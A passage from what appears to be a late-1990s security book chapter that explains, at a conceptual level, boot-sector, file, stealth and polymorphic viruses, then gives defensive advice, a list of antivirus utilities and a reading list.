several stages of evolution, the most dangerous of which was a version called Golden
Gate. Golden Gate reportedly could reformat the hard disk drive.
Since then, innovations in virus technology have caused these creatures to become
increasingly complex. This has led to classifications. For example, there are basically
three types of virus:
- Master boot sector viruses
- Boot sector viruses
- File viruses
I have already briefly examined a MBR virus in this chapter. The only material
difference between that type and a garden-variety boot sector virus is that boot
sector viruses target floppies. However, the third class of virus (the file virus)
is a bit different. In contrast to boot sector viruses (which attack only a small
portion of the disk), file viruses can spread systemwide.
Most often, file viruses infect only a particular class of file--usually executable
files. COM and EXE files are good examples. File viruses, however, are not restricted
to executables; some will infect overlay files (OVL) or even system driver files
(SYS, DRV).
NOTE: Do you remember that I explained
that viruses are rarely found in upper memory? When such viruses are found, they
are usually riding on a driver, such as a SYS or DRV file. PC users who worked extensively
with the DOS/Windows combination will remember various drivers that required an upper-memory
load.
It is estimated that there are currently more than 7,000 file viruses on the DOS
platform alone. As you might expect, virus authors are eager to write file viruses
because of how far these can spread. Given 10 days on a computer system, a file virus
can effectively infect the majority (or perhaps even all) of the executable files
on the hard disk drive. This is due to the manner in which file viruses operate.
(See Figure 14.8.)
Figure 14.8.
Normal operation and execution of a program.
Under normal operations (on a noninfected machine), a command is executed and
loaded into memory without event. (This could equally be a COM file. In Figure 14.8,
I just happened to have used the .EXE extension.) When a file virus is present,
however, the process is complicated because the virus now intercepts the call. (See
Figure 14.9.)
Figure 14.9.
Loading a program with a file virus present.
First, the virus temporarily intercepts the process for long enough to infect
the program file. After infecting the program file, the virus releases its control
over the system, returning the reins to the operating system. The operating system
then loads the infected file into memory. This process will be repeated for each
file loaded into the system memory. Stop and think for a moment about this. How many
files are loaded into memory in the course of a business day? This is how file viruses
ultimately achieve systemic infection of the system.
In addition to the classifications of viruses, there are also different types
of viruses. These types are derived from the manner in which the virus operates or
what programming techniques were employed in its creation. Here are two:
- Stealth viruses use any of a number of techniques to conceal the fact
that the drive has been infected. For example, when the operating system calls for
certain information, the stealth virus responds with that information as it was prior
to infection. In other words, when the infection first occurs, the virus records
the information necessary to later fool the operating system (and virus scanners).
- Polymorphic viruses are a relatively new phenomenon, and they are infinitely
more complex than their counterparts. Polymorphic viruses can change, making
them more difficult to identify. There have been instances of a polymorphic virus
using advanced encryption techniques. This amounts to a signature that may change.
This process of changing is called mutation. In mutation, the virus may change
its size and composition. Because virus scanners most often search for known patterns
(by size, checksum, date, and so forth), a well-crafted polymorphic virus can evade
detection. To combat this new technique, virus specialists create scanners that can
identify encryption patterns.
Virus technology continues to increase in complexity, largely due to the number
of new viruses that are discovered. The likelihood of contracting a virus on the
Internet is slim, but not impossible. It depends on where you go. If you are an individual
and you frequent the back alleys of the Internet, you should exercise caution in
downloading any file (digitally signed or otherwise). Usenet newsgroups are places
where viruses might be found, especially in those newsgroups where hot or restricted
material is trafficked. Examples of such material include warez (pirated software)
or pornography. I would strongly caution against downloading any zipped or archived
file from groups trafficking this type of material. Similarly, newsgroups that traffic
cracking utilities are suspect.
If you are a system administrator, I have different advice. First, it is true
that the majority of viruses are written for the IBM-compatible platforms (specifically,
platforms on which users run DOS, Windows, Windows NT, and Windows 95). If your network
is composed of machines running these operating systems and you offer your users
access to the Internet, you have a problem.
There is no reliable way to restrict the types of files that your users download.
You can institute policies that forbid all downloads, and your users will probably
still download a file here and a file there. Human nature is just that way. Therefore,
I would recommend that you run memory-resident virus scanners on all machines in
the domain, 24 hours a day. (At the end of this section, you will find some resources
for obtaining such products.)
To learn more about how viruses work, you should spend some time at a virus database
on the Internet. There are several such databases that provide exhaustive information
on known viruses. The most comprehensive and useful site I have ever found is at
the Department of Energy.
Cross Reference: Find the Department of
Energy site online at http://ciac.llnl.gov/ciac/CIACVirusDatabase.html.
The list is presented in alphabetical order, but can be traversed by searching
for platform. You will instantly see that most viruses were written for the Microsoft
platform, and the majority of those for DOS. What you will not see are any known
in-the-wild viruses for UNIX. However, by the time this book is printed, such information
may be available. There is talk on the Internet of a virus for the Linux platform
called Bliss.
Reports on Bliss at the time of this writing are sketchy, but it appears that
Bliss is a virus. There is some argument on the Internet as to whether Bliss
qualifies more as a trojan, but the majority of reports suggest otherwise. Furthermore,
it is reported that it compiles cleanly on other UNIX platforms.
Cross Reference: The only known system
tool that checks for Bliss infection was written by Alfred Huger and is located online
at ftp://ftp.secnet.com/pub/tools/abliss.tar.gz.
It is extremely unlikely that your box would be infected. The author of the program
took steps to prevent all but experienced programmers from unpacking and using this
virus. However, if you should discover that your machine is infected with this new
virus, you should immediately submit a report to Usenet and several bug lists, describing
what, if any, damage has been done to your system.
I would like to explain why the majority of viruses are written for personal computer
platforms and not for UNIX, for example. In UNIX (and also in Windows NT), great
control can be exercised over who has access to files. Restrictions can be placed
on a file so that user A can access the file but user B cannot. Because of this phenomenon
(called access control), viruses would be unable to travel very far in such
an environment. They would not, for example, be able to cause a systemic infection.
In any event, viruses do represent a risk on the Internet. That risk is obviously
more relevant to those running DOS or any variant of Windows. Following are some
tools to keep your system safe from virus attack.
Virus Utilities
Following is a list of well-known and reliable virus-detection utilities. I have
experience using all the entries in this list, and can recommend every one. However,
I should stress that just because a utility is absent from this list does not mean
that it isn't good. Hundreds of virus-detection utilities are available on the Internet.
Most of them employ similar techniques of detection.
VirusScan for Windows 95
VirusScan for Windows 95 by McAfee can be found online at
Thunderbyte Anti-Virus for Windows 95
Thunderbyte Anti-Virus for Windows 95 can be found online at
Norton Anti-Virus for DOS, Windows 95, and Windows NT
Norton Anti-Virus for DOS, Windows 95, and Windows NT by Symantec can be found
online at
ViruSafe
ViruSafe by Eliashim can be found online at
PC-Cillin II
PC-Cillin II by Check-It can be found online at
FindVirus for DOS v. 7.68
Dr. Solomon's FindVirus for DOS version 7.68 can be found online at
Sweep for Windows 95 and Windows NT
Sweep for Windows 95 and Windows NT by Sophos can be found online at
Iris Antivirus Plus
Iris Antivirus Plus by Iris Software can be found online at
LANDesk Virus Protect v4.0 for NetWare and Windows NT
LANDesk Virus Protect version 4.0 for NetWare and Windows NT by Intel can be found
online at
Norman Virus Control
Norman Virus Control by Norman Data Defense Systems can be found online at
F-PROT Professional Anti-Virus Toolkit
F-PROT Professional Anti-Virus Toolkit by DataFellows can be found online at
The Integrity Master
The Integrity Master by Stiller Research can be found online at
There are quite literally hundreds of virus scanners and utilities. I have mentioned
these primarily because they are easily available on the Internet and because they
are updated frequently. This is an important point: Viruses are found each day, all
over the world. Because virus authors continue to churn out new works (and these
often implement new techniques, including stealth), it is imperative that you get
the very latest tools.
Conversely, perhaps you have some old machines lying around that run early versions
of this or that operating system. On such systems, you may not be able to run Windows
95 or Windows NT software. To present you with a wide range of choices, I suggest
that you go to one of the following sites, each of which has many, many virus utilities:
The Simtel.Net MS-DOS Collection at the OAK Repository
The Simtel.Net MS-DOS collection at the OAK repository offers virus detection
and removal programs. This site is located online at
The Simtel.Net Windows 3.x Collection at the
OAK Repository
The Simtel.Net Windows 3.x collection at the OAK repository offers virus
detection and removal programs. This site is located online at
Summary
Destructive devices are of significant concern not only to those running Internet
information servers, but to all users. Many people find it hard to fathom why anyone
would create such programs, especially because data is now so heavily relied on.
This is a question that only virus writers can answer. In any event, every user (particularly
those who use the Internet) should obtain a basic education in destructive devices.
If you are now using the Internet, it is very likely that you will eventually encounter
such a device. For this reason, you must observe one of the most important commandments
of computer use: back up frequently. If you fail to observe this, you may later suffer
serious consequences.
Resources
The following is a list of articles, books, and Web pages related to the subject
of computer viruses. Some of the books are a bit dated, but are now considered standards
in the field.
Robert Slade's Guide to Computer Viruses : How to Avoid Them, How to
Get Rid of Them, and How to Get Help (Second Edition). Springer. 1996. ISBN 0-387-94663-2.
Virus: Detection and Elimination. Rune Skardhamar. AP Professional.
1996. ISBN 0-12-647690-X.
The Giant Black Book of Computer Viruses. Mark A. Ludwig. American Eagle.
1995.
1996 Computer Virus Prevalence Survey. NCSA National Computer Security
Association. (Very good.)
The Computer Virus Crisis. Fites, Johnson, and Kratz. Van Nostrand Reinhold
Computer Publishing. ISBN 0-442-28532-9. 1988.
Computer Viruses and Related Threats: a Management Guide. National Technical
Information Service (NTIS). PB90-115601CAU.
A Passive Defense Against Computer Viruses. Frank Hoffmeister. Proceedings
of the IASTED International Symposium Applied Informatics. pp. 176-179. Acta Press.
1987.
PC Security and Virus Protection: the Ongoing War Against Information Sabotage.
Pamela Kane. M&T Books. ISBN 1-55851-390-6. 1994.
How Prevalent are Computer Viruses? Jeffrey O. Kephart and Steve
R. White. Technical Report RC 17822 No78319. Watson. 1992.
A Short Course on Computer Viruses (Second Edition). Frederick B. Cohen.
Series title: Wiley Professional Computing. John Wiley & Sons. 1994. ISBN 1-471-00769-2
A Pathology of Computer Viruses. David Ferbrache. Springer-Verlag. ISBN
0-387-19610-2; 3-540-19610-2. 1992.
The Virus Creation Labs: A Journey into the Underground. George Smith.
American Eagle Publications. ISBN 0-929408-09-8. Also reviewed in Net Magazine,
February 1996.
Viruses in Chicago: The Threat to Windows 95. Ian Whalley, Editor. Virus
Bulletin. Abingdon Science Park, England.
Computer Virus Help Desk. Courtesy of the Computer Virus Research Center.
Indianapolis, Indiana.
European Institute for Computer Anti-Virus Research.
Future Trends in Virus Writing. Vesselin Bontchev. Virus Test Center. University
of Hamburg.
A Biologically Inspired Immune System for Computers. Jeffrey O. Kephart.
High Integrity Computing Laboratory, IBM. Thomas J. Watson Research Center.
Dr. Solomon's Virus Encyclopedia.
An Overview of Computer Viruses in a Research Environment. Matt Bishop.
Washington, D.C.: National Aeronautics and Space Administration. Springfield, Va.
Distributor: National Technical Information Service. 1991.
Internet Computer Virus and the Vulnerability of National Telecommunications
Networks to Computer Viruses. Jack L. Brock. November 1988. GAO/T-IMTEC-89-10,
Washington, D.C., 20 July 1989. Testimonial statement of Jack L. Brock, Director,
U. S. Government Information before the Subcommittee on Telecommunications and Finance,
Committee on Energy and Commerce, House of Representatives.
A Guide to the Selection of Anti-Virus Tools and Techniques. W. T. Polk
and L. E. Bassham. National Institute of Standards and Technology Computer Security
Division.
© Copyright, Macmillan Computer Publishing. All
rights reserved.
|